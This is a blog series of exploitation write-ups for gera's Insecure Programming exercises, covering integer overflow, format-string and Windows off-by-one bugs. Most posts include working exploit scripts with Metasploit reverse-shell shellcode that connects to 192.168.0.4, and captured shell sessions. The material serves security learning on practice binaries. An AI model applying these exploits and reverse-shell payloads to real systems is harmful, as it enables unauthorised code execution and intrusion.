Saturday, January 14, 2012

Numeric: ns1

gera's Insecure Programming ns1.c

I added some printf debug statements.

/* n1.c *
* specially crafted to feed your brain by gera@core-sdi.com */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

#define MAX_SIZE 80

unsigned int atoul(char *str) {
unsigned int answer=0;
for (;*str && isdigit(*str);
answer *= 10, answer += *str++-'0');

printf("unsigned int answer = 0x%x (%u)\n", answer, answer);
return answer;
}

int main(int argv, char **argc) {
char buf[MAX_SIZE],*pbuf=buf;
int count = atoul(argc[1]);
printf("signed int count = 0x%x (%d)\n", count, count);

if (count >= MAX_SIZE) count = MAX_SIZE-1;
printf("after bounds check, count = 0x%x (%d)\n", count, count);

while (count--) {
printf("count = 0x%x (%d)\n", count, count);
*pbuf++=getchar();
}
*pbuf=0;
}

Here are some test values.

dennis@ipa:~$ ./n1 30
unsigned int answer = 0x1e (30)
signed int count = 0x1e (30)
after bounds check, count = 0x1e (30)

dennis@ipa:~$ ./n1 100
unsigned int answer = 0x64 (100)
signed int count = 0x64 (100)
after bounds check, count = 0x4f (79)

dennis@ipa:~$ ./n1 1000000000000
unsigned int answer = 0xd4a51000 (3567587328)
signed int count = 0xd4a51000 (-727379968)
after bounds check, count = 0xd4a51000 (-727379968)

As can be seen from the second test and the boundary condition check in the code, if count is greater than 80 it is reset to MAX_SIZE-1 (79).

In the third test, if count becomes very large, it overflows the signed type and turns into a negative number.

The first important boundary number is 2147483648 which is where a 32-bit signed int overflows.

dennis@ipa:~$ echo "AAAA" | ./n1_debug 2147483647 | head -5
unsigned int answer = 0x7fffffff (2147483647)
signed int count = 0x7fffffff (2147483647)
after bounds check, count = 0x4f (79)
count = 0x4e (78)
count = 0x4d (77)

dennis@ipa:~$ echo "AAAA" | ./n1_debug 2147483648 | head -5
unsigned int answer = 0x80000000 (2147483648)
signed int count = 0x80000000 (-2147483648)
after bounds check, count = 0x80000000 (-2147483648)
count = 0x7fffffff (2147483647)
count = 0x7ffffffe (2147483646)

The second is 4294967296, where a 32-bit signed int overflows again and turns back into a positive value.

dennis@ipa:~$ echo "AAAA" | ./n1_debug 4294967295 | head -5
unsigned int answer = 0xffffffff (4294967295)
signed int count = 0xffffffff (-1)
after bounds check, count = 0xffffffff (-1)
count = 0xfffffffe (-2)
count = 0xfffffffd (-3)

dennis@ipa:~$ echo "AAAA" | ./n1_debug 4294967296 | head -5
unsigned int answer = 0x0 (0)
signed int count = 0x0 (0)
after bounds check, count = 0x0 (0)

By supplying a number between these two boundaries, the boundary condition check will be bypassed.

The while loop will getchar() a character and write it to buf until count is zero. Since count has been overflowed it is a very large negative number and the loop will continue to write characters past buf and over important stack things such as main's saved eip.

(gdb) run 2147483648 < in
Starting program: /home/dennis/n1/n1_debug 2147483648 < in
unsigned int answer = 0x80000000 (2147483648)
signed int count = 0x80000000 (-2147483648)
after bounds check, count = 0x80000000 (-2147483648)
count = 0x7fffffff (2147483647)
count = 0x7ffffffe (2147483646)
count = 0x7ffffffd (2147483645)
...
(gdb) info frame
Stack level 0, frame at 0xbffffaf8:
eip = 0x80485c8 in main (n1_debug.c:29); saved eip 0x41414141
called by frame at 0x41414141
source language c.
Arglist at 0xbffffaf8, args: argv=1094795585, argc=0x41414141
Locals at 0xbffffaf8, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffffaf8, eip at 0xbffffafc
(gdb) x/32x buf
0xbffffaa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffac0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffad0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffae0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb10: 0x41414141 0x41414141 0x41414141 0x41414141

The problem I couldn't solve while trying to exploit this bug (on this system atleast) was that the numbers required are so large that the while loop will write past the stack and into inaccessible memory causing a segfault.

0xbfffffd0: 0xffffffff 0xffffffff 0xffffffff 0xffffffff
0xbfffffe0: 0xffffffff 0xffffffff 0xffffffff 0xffffffff
0xbffffff0: 0xffffffff 0xffffffff 0xffffffff 0xffffffff
0xc0000000: Cannot access memory at address 0xc0000000
(gdb) x/i $eip
0x80485c8
: mov %dl,(%eax)
(gdb) x/x $eax
0xc0000000: Cannot access memory at address 0xc0000000
...
count = 0x7ffffaa1 (2147482273)
count = 0x7ffffaa0 (2147482272)
count = 0x7ffffa9f (2147482271)

Program received signal SIGSEGV, Segmentation fault.
0x080485c8 in main (argv=1094795585, argc=0x41414141) at n1_debug.c:29
29 *pbuf++=getchar();

Tuesday, November 22, 2011

Format Strings: fs5

gera's Insecure Programming fs5.c

/* fs5.c                                                    *
* specially crafted to feed your brain by gera@core-sdi.com */

/* go, go, go!                                              */
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,argc[1]);

                   /* this line'll make your life easier */
printf("%s\n",buf);          
}

I need to create my own format string for this one.

First some setup: putting shellcode into an environment variable and then getting it's address and printf's GOT address.

[dennis@localhost fs5]$ cat sc.pl
#!/usr/bin/perl

# shellcode
# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

print $shellcode;

[dennis@localhost fs5]$ export FS5=`perl sc.pl`

[dennis@localhost fs5]$ cat ev5.c
#include <stdlib.h>

/* this progname name must be same length as fs5 */

int
main()
{
char *envaddr;

envaddr = getenv("FS5");
printf("FS5 is at %p\n", envaddr);
}

[dennis@localhost fs5]$ ./ev5
FS5 is at 0xbffffc7b

[dennis@localhost fs5]$ objdump -R fs5 | egrep '[^n]printf''
08049588 R_386_JUMP_SLOT printf

The %p format specifiers I'm supplying to the vulnerable snprintf functions lets me walk and read the stack. After popping 1 %p off the stack, the snprintf starts reading the As, Bs, and Cs.

(gdb) run `perl -e 'print "AAAABBBBCCCC.%p.%p.%p.%p"'`
Starting program: /home/dennis/fs5/fs5 `perl -e 'print "AAAABBBBCCCC.%p.%p.%p.%p"'`
AAAABBBBCCCC.0x8048170.0x41414141.0x42424242.0x43434343

The exploit looks like this.

[dennis@localhost fs5]$ ./fs5 `perl -e 'print "\x88\x95\x04\x08AAAA\x8a\x95\x04\xx08%.64623u%hn%.50052u%hn"'`

...

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:50056) at 2011-11-22 22:02:38 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/fs5

Here's the format string break down:

1) \x88\x95\x04\x08 (0x08049588) - points to the least significant byte of printf's GOT entry.

2) AAAA - filler for the second %u format specifier.

3) \x8a\x95\x04\x08 (0x0804958a) - points to the most significant byte of printf's GOT entry.

4) %.64623u - increment character output count. the %u uses the first %p value (0x8048170) from the read above.

64623 is calculated like this

(gdb) print /d 0xfc7b - 12
$1 = 64623

I want to overwrite the LSB with 0xfc7b (LSB of the shellcode address). There have been 12 characters printed already.

5) %hn - write character output count to the LSB of printf's GOT entry.

6) %.50052u - increment character output count again. The %u uses the filler from #2.

50052 is calculated like this

(gdb) print /d 0x1bfff - 12 - 64623
$2 = 50052

I want to get to 0xbfff--MSB of shellcode address. I've already passed 0xbfff with the first %u, the extra 0x10000 allows me to get back to it. There have been 12 + 64623 characters printed already.

7) %hn - write character output count to the MSB of printf's GOT entry.

Monday, November 14, 2011

Format Strings: fs4

gera's Insecure Programming fs4.c

/* fs4.c *
* specially crafted to feed your brain by gera@core-sdi.com */

/* Have you ever heard about code reusability? */

int main(int argv,char **argc) {
char buf[256];6
snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);
printf(buf);
}

Very similar to fs3, except the format string is using direct parameter access. The "%6$hn" format specifier will write to the 6th argument.

#!/usr/bin/perl

# address filler for 4 snprintf arguments
my $filler = "A" x 16;

# address for the %6$hn to write the number of characters to
# printf()'s GOT address, offset by 2 to point to the most significant bytes
# 0x0804957c -> 0x0804957e
my $addr = "\x7e\x95\x04\x08";

# shellcode
# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# enough nops so that 49131 characters are printed. this will overwrite printf's base address in GOT with 0xbfff
my $nops = "\x90" x (49131-length($shellcode));

print $filler.$addr.$nops.$shellcode;

Since there is a printf call after the snprintf call, I'm overwriting printf's GOT entry to point to the nop slide and shellcode.

dennis@ipa:~/fs4$ objdump -R fs4

fs4: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049588 R_386_GLOB_DAT __gmon_start__
08049570 R_386_JUMP_SLOT __register_frame_info
08049574 R_386_JUMP_SLOT __deregister_frame_info
08049578 R_386_JUMP_SLOT __libc_start_main
0804957c R_386_JUMP_SLOT printf
08049580 R_386_JUMP_SLOT __cxa_finalize
08049584 R_386_JUMP_SLOT snprintf


msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:49209) at 2011-11-14 20:48:16 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/fs4

[*] Command shell session 1 closed. Reason: Died from EOFError

Wednesday, November 9, 2011

Format Strings: fs3

gera's Insecure Programming fs3.c:

/* fs3.c *
* specially crafted to feed your brain by riq@core-sdi.com */

/* Not enough resources? */

int main(int argv,char **argc) {
char buf[256];

snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
exit(0);
}


This is much the same as fs2 except that there is only one snprintf. From an exploitation point of view this means only 2 bytes can be overwritten with the short int (%hn format specifier).

The GOT looks like this:

fs3: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804958c R_386_GLOB_DAT __gmon_start__
08049574 R_386_JUMP_SLOT __register_frame_info
08049578 R_386_JUMP_SLOT __deregister_frame_info
0804957c R_386_JUMP_SLOT __libc_start_main
08049580 R_386_JUMP_SLOT __cxa_finalize
08049584 R_386_JUMP_SLOT snprintf
08049588 R_386_JUMP_SLOT exit


exit's GOT entry looks like:

(gdb) x/x 0x08049588
0x8049588 <_global_offset_table_>: 0x08048386


The stack region has a base address of 0xbfffXXXX:

(gdb) x/x $esp
0xbffffa00: 0x40016b34


Overwriting exit's base address in GOT with 0xbfff will point it into the stack.

From 0x08048386 to 0xbfff8386

I need to make sure 0xbfff8386 contains a nop slide and shellcode.

#!/usr/bin/perl

# address filler for the %c%c format specifier in the snprintf
my $filler = "A" x 8;

# address for the %hn to write the number of characters to
# exit()'s GOT address, offset by 2 to point to the most significant bytes
# 0x08049588 -> 0x0804958A
my $addr = "\x8a\x95\x04\x08";

# shellcode
# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# enough nops so that 49137 characters are printed. this will overwrite exit's base address in GOT with 0xbfff
my $nops = "\x90" x (49137-length($shellcode));

print $filler.$addr.$nops.$shellcode;



msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:58803) at 2011-11-09 19:41:02 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/fs3

[*] Command shell session 1 closed. Reason: Died from EOFError

Tuesday, September 13, 2011

Format Strings: fs2


/* fs2.c *
* specially crafted to feed your brain by gera */

/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
char buf[256];

snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}

The snprintfs lack 3 arguments for the 2 x %c and %hn format specifiers. From what I can see the stack looks something like:

ptr to buf <-- esp points here
256 (int)
ptr to "%s%c%c%hn"
ptr to argc[1] <-- arguments for snprintf start here

buf[0]
buf[1]
buf[2]
buf[3]

buf[4]
buf[5]
buf[6]
buf[7]

buf[8]
buf[9]
buf[10]
buf[11] <-- and end here

...

buf[254]
buf[255]

saved ebp
saved eip

Essentially, the snprintf become:

snprintf(buf, sizeof buf, "%s%c%c%hn", argc[1], buf[0-3], buf[4-7], buf[8-11]

I created 2 Perl scripts for the exploit, 1 for each command line argument.

dennis@ipa:~/fs2$ cat fs2exp_arg1.pl
#!/usr/bin/perl

# filler for the "%c%c" format specifiers in snprintf
my $filler = "A" x 8;

# address for the "%hn" to write the number of characters printed so far to
# least significant word
#my $eip = "\x6c\x42\xfe\xbf"; # gdb
my $eip = "\x5c\x42\xfe\xbf";

# filler to pad the characters printed count
my $filler2 = "C" x 63634;

# 0xf8a0 - 2 ("%c%c") total characters
print $filler.$eip.$filler2;

From the stack diagram, the first 8 bytes are filler for the 2 %cs.

Next, buf is filled with a writable address so that the %hn can write the number of characters printed in the %s string to it. The 'h' indicates a short int, so only 2 bytes of this address can be overwritten. The address points to the 2 least significant bytes of main's saved return address.

buf is then filled with 63634 junk bytes to control the character count. This will end up overwriting eip with 0xWXYZf8a0.

The script prints 0xf8a0 - 2 characters. (The extra 2 are added by printing the %cs)

dennis@ipa:~/fs2$ cat fs2exp_arg2.pl
#!/usr/bin/perl

# filler for the "%c%c" format specifiers in snprintf
my $filler = "D" x 8;

# address for the "%hn" to write the number of characters printed so far to
# most significant word -- arg1 $eip + 2
#my $eip = "\x6e\x42\xfe\xbf"; # gdb
my $eip = "\x5e\x42\xfe\xbf";

my $nops = "\x90" x 48766;

# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# filler to pad the characters printed count
my $filler2 = "E" x (49137-length($nops)-length($shellcode));

# 0xbfff - 2 ("%c %c") total characters
print $filler.$eip.$nops.$shellcode.$filler2;

The second argument script is similar to the first. Starts with filler for the %cs. The writable address points to the 2 most significant bytes of main's saved return address (unaligned access).

buf is then filled with a huge nop slide and some shellcode.

So that eip is overwritten with a 0xbfffWYXZ, some more fillers bytes are added to pad the character count.

The script prints 0xbfff - 2 characters (2 more are added by printing the %cs).

The format string vulnerabilities in the snprintfs allows main's saved eip to be overwritten with 0xbffff8a0. This address points back into the nop slide and shellcode.

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 13 opened (192.168.0.4:4444 -> 192.168.0.38:49249) at 2011-09-08 22:31:11 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/fs2

Wednesday, September 7, 2011

Format Strings: fs1


/* fs1.c *
* specially crafted to feed your brain by gera */

/* Don't forget, *
* more is less, *
* here's a proof */

int main(int argv,char **argc) {
short int zero=0;
int *plen=(int*)malloc(sizeof(int));
char buf[256];

strcpy(buf,argc[1]);
printf("%s%hn\n",buf,plen);
while(zero);
}

A direct saved eip overwrite via a buffer overflow won't work here because there are 2 important things in the way.

First is plen, a pointer to an int. This is where the %hn format specifier in printf stores the number of characters already printed. If this is overwritten with a bunch of "A"'s there will be a segfault when printf tries to access address 0x41414141. plen needs to point to a writable address.

The second obstacle is zero, a short int (2 bytes). If this is overwritten with anything but 0, the while() loop will loop forever and there won't be a return.

#!/usr/bin/perl

my $nops = "\x90" x 50;

# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# 264 bytes fills up buf
my $filler = "A" x (264 - length($nops) - length($shellcode));

# overwrite plen so that it points to zero
my $plen = "\x0e\xfb\xfe\xbf";

# 16 more bytes to get to main's saved eip
my $filler2 = "B" x 16;

# hardcoded cause i'm lazy
my $eip = "\x04\xfa\xfe\xbf";

# total length must be 65536 bytes to overwrite zero so that it is 0
my $filler3 = "D" x (65536 - length($nops) - length($shellcode) - length($filler) - length($plen) - length($filler2) - length($eip));

print $nops.$shellcode.$filler.$plen.$filler2.$eip.$filler3;

buf is filled with a nop sled, shellcode and (264-length(nops)-length(shellcode)) "A"'s.

This positions me at plen, which needs to be overwritten with a writable address. Addresses such as saved eips, dtor, gots, etc. don't work well here because %hn (short int) will only overwrite the 2 least significant bytes of whatever the address points to and this won't get me near my shellcode. I overwrite plen with zero's address--condition 1 is satisfied.

16 more filler bytes are added. This overwrites zero with a non-zero value, but that's ok. Just a note, overwriting zero with "\x00\x00" directly will truncate the input and prevent main's return address to be overwritten.

main's saved eip is now overwritten with a address that points to buf somewhere in the nop sled--like in a normal buffer overflow.

The %hn format specifier in printf will store the number of characters printed so far--the number of characters produced by printing the %s format specifier--into whatever plen points to. Currently plen points to zero and to satisfy the 2 condition zero needs to be overwritten with 0. The number of characters printed is already greater than 0, so the next best thing is to overflow the short integer by printing 0x10000 (minus characters already printed) more filler characters.

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 2 opened (192.168.0.4:4444 -> 192.168.0.38:49944) at 2011-09-07 22:09:39 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)

Monday, September 5, 2011

Advanced Windows Buffer Overflows: awbo5

#!/usr/bin/perl

# must be 1024 bytes. every 4 character blocks, atleast 1 character must be different

my $filler = "AB" x 45; # offset found via msf3's pattern_create/offset

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
my $shellcode =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

my $filler2 = "AB" x ((1024 - length($filler) - length($shellcode))/2);

$filler2 .= "A";

# overwrite main's saved ebp so that on main's function epilog when ebp is copied to esp
# the ret will pop off an address that contains the shellcode
my $ebp = "\xA8";

print $filler.$shellcode.$filler2.$ebp;


There is only 1 overflow byte to work with here. The Frame Pointer Overwrite by klog came in handy.

Some restrictions that need to be overcome:

* 1024 + 1 bytes of input are copied over the stack.
* In every 4 character block, at least 1 character must be different--AAAA won't work, but ABAB will.
* There must be at least 1 command line argument
* The first argument must contain the length of the buffer copied to the stack--1025

The overflow allows me to overwrite the least significant byte of main's saved ebp. This allows access to 0012FFxx.

main's function epilog looks like this

; copies ebp--which we control a bit--into esp
mov esp,ebp
; cause esp to increase by 4
pop ebp
; pops the address of where esp points to into eip and starts executing there
retn

I put a breakpoint right before main returns and start digging through memory. 0012FFAC contains an address that points to a chunk of input that was copied to the stack.

If I overwrite the LSB of main's saved ebp with \xA8, on main's return, esp will point to 0012FFAC which points to a buffer I control.

Using Metasploits pattern_create/offset, I was able to determine where in the input buffer 0012FFAC points to. I kept a few "AB"s (which turn into NOPs) for good measure and add the shellcode. On execution, a lovely calc.exe pops up.

Here are my notes on IDA's output:

; int __cdecl main(int argc,const char **argv,const char *envp)
_main proc near

argc= dword ptr 8
argv= dword ptr 0Ch ; 12
envp= dword ptr 10h ; 16

; function prologue
push ebp
mov ebp, esp
; stack space, 12 bytes
sub esp, 0Ch
; save some registers to stack
push ebx
push esi
push edi
int 3 ; Trap to Debugger
; copy contents of ebp+argv into eax
mov eax, [ebp+argv]
copy contents of eax+4 into ecx
mov ecx, [eax+4]
; copy ecx to 407a8c
mov argv1_407A8C, ecx
; call func() -- reads/verifies input
call sub_401065
; copy return value into ret_counter
mov ret_counter_407A84, eax
; copy ret_counter into edx
mov edx, ret_counter_407A84
; push onto stack
push edx
; push format string onto stack
push offset aGotDCharacers ; "Got %d characers!\n"
; call printf()
call _printf
; clean up function arguments from stack
add esp, 8
; compare argc to 2
cmp [ebp+argc], 2
; if less than 2, jump
jl short loc_401054
; push 10--base--onto stack
push 0Ah ; int
; push 0--endptr--onto stack
push 0 ; char **
; copy argv1 into eax
mov eax, argv1_407A8C
; push address onto stack--nptr
push eax ; char *
; call strtoul()
call _strtoul
; clean up function arguments from stack
add esp, 0C
; compare ret_counter to eax--"argv1"
cmp ret_counter_407A84, eax
; if zero, jump
jz short loc_40105C

loc_401054: ; uExitCode
; push -1 onto stack
push 0FFFFFFFFh
; call ExitProcess()
call ds:ExitProcess

loc_40105C:
; clear eax
xor eax, eax
; restore registers
pop edi
pop esi
pop ebx
; function epilog
mov esp, ebp
pop ebp
; return
retn
_main endp



; Attributes: bp-based frame

sub_401065 proc near

var_404= dword ptr -404h ; 1028
var_400= byte ptr -400h ; 1024
var_3FF= byte ptr -3FFh ; 1023
var_3FE= byte ptr -3FEh ; 1022
var_3FD= byte ptr -3FDh ; 1021
; function prologue
push ebp
mov ebp, esp
; stack space, 1028 bytes
sub esp, 404h
; zero memory location, 407a90
mov counter_407A90, 0

loc_401078:
; compare memory location, 407a90, to 1024
cmp counter_407A90, 400h
; jump if memory location is greater than 1024
ja short loc_4010F3
; copy cnt into eax
mov eax, input_407048._cnt
; subtract 1 from cnt
sub eax, 1
; copy new cnt back to memory
mov input_407048._cnt, eax
; compare cnt with 0
cmp input_407048._cnt, 0
; if cnt is less than 0, jump
jl short loc_4010BE
; copy input pointer to ecx
mov ecx, input_407048._ptr
; copy character it points to into edx
movsx edx, byte ptr [ecx]
; keep lsb
and edx, 0FFh
; copy character to stack
mov [ebp+var_404], edx
; copy input pointer to eax
mov eax, input_407048._ptr
; increment
add eax, 1
; copy back to memory
mov input_407048._ptr, eax
; jump
jmp short loc_4010D1

; read in input, called once
loc_4010BE: ; FILE *
; push FILE * onto stack
push offset input_407048
; call filbuf()
call __filbuf
; clean up function argument from stack
add esp, 4
; move first character of input to ebp-1028
mov [ebp+var_404], eax

loc_4010D1:
; copy counter into ecx
mov ecx, counter_407A90
; copy ebp_1028, character from input into lsb edx
mov dl, byte ptr [ebp+var_404]
; copy character into ebp+counter-1024, move character to stack
mov [ebp+ecx+var_400], dl
; copy counter into eax
mov eax, counter_407A90
; increment counter
add eax, 1
; move counter back to memory
mov counter_407A90, eax
; jump
jmp short loc_401078

loc_4010F3:
; copy zero into memory location
mov cmp_counter_407A88, 0
; jump
jmp short loc_40110E

loc_4010FF:
; copy cmp_counter into ecx
mov ecx, cmp_counter_407A88
; increment
add ecx, 1
; copy back to memory
mov cmp_counter_407A88, ecx

loc_40110E:
; copy 407A88 into edx
mov edx, cmp_counter_407A88
; compare against counter
cmp edx, counter_407A90
; if 407A88 is >= counter, jump
jnb short loc_401187
; copy cmp_counter into eax
mov eax, cmp_counter_407A88
; copy first character into ecx
movsx ecx, [ebp+eax+var_400]
; copy cmp_counter into edx
mov edx, cmp_counter_407A88
; copy second character into eax
movsx eax, [ebp+edx+var_3FF]
; compare
cmp ecx, eax
; if not zero, jump
jnz short loc_401182
; copy cmp_counter into ecx
mov ecx, cmp_counter_407A88
; copy second character into edx
movsx edx, [ebp+ecx+var_3FF]
; copy cmp_counter into eax
mov eax, cmp_counter_407A88
; copy third character into ecx
movsx ecx, [ebp+eax+var_3FE]
; compare
cmp edx, ecx
; if not zero, jump
jnz short loc_401182
; copy cmp_counter into edx
mov edx, cmp_counter_407A88
; copy third character into eax
movsx eax, [ebp+edx+var_3FE]
; copy cmp_counter into ecx
mov ecx, cmp_counter_407A88
; copy fourth character into edx
movsx edx, [ebp+ecx+var_3FD]
; compare
cmp eax, edx
; if not zero, jump
jnz short loc_401182
; push -1 onto stack
push 0FFFFFFFFh ; uExitCode
; ExitProcess()
call ds:ExitProcess

loc_401182:
; jump
jmp loc_4010FF

loc_401187:
; copy counter into eax, return value
mov eax, counter_407A90
; function epilog
mov esp, ebp
pop ebp
retn
sub_401065 endP